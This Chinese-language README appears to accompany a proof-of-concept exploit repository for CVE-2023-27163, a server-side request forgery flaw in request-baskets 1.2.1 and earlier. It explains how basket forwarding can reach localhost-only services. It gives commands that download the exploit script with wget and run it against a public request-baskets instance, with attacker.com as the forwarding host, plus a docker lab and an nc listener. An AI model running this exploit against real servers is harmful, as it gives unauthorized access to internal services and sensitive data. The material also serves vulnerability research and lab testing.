本仓库包含针对 CVE-2023-27163 的概念验证(PoC)代码。该漏洞是 request-baskets 在 1.2.1 版本及之前版本中发现的一个服务端请求伪造(SSRF)漏洞。攻击者可利用特制的 API 请求,通过 /api/baskets/{name} 组件访问网络资源和敏感信息。
感谢 @b33t1e、@chelinboo147 和 @houqinsheng(参见 文章)。
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
bash ./CVE-2023-27163.sh https://rbaskets.in/ http://attacker.com/
Request-baskets 是一个 Web 应用程序,用于在特定路由(即所谓的 basket)上收集和登记请求。在创建 basket 时,用户可以指定另一台服务器来转发请求。问题在于,用户可以指定非预期的服务,例如网络隔离的应用程序。
例如:假设服务器上托管着 Request-baskets(端口 55555)和一个运行在 8000 端口的 Flask Web 服务器。该 Flask 服务器还被配置为仅与 localhost 交互。通过创建一个转发到 http://localhost:8000 的 basket,攻击者就可以访问之前受限制的 Flask Web 服务器。

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
wget https://raw.githubusercontent.com/entr0pie/CVE-2023-27163/main/CVE-2023-27163.sh
nc -lvp 8000
DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')
./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/
本项目采用 Unlicense 许可证。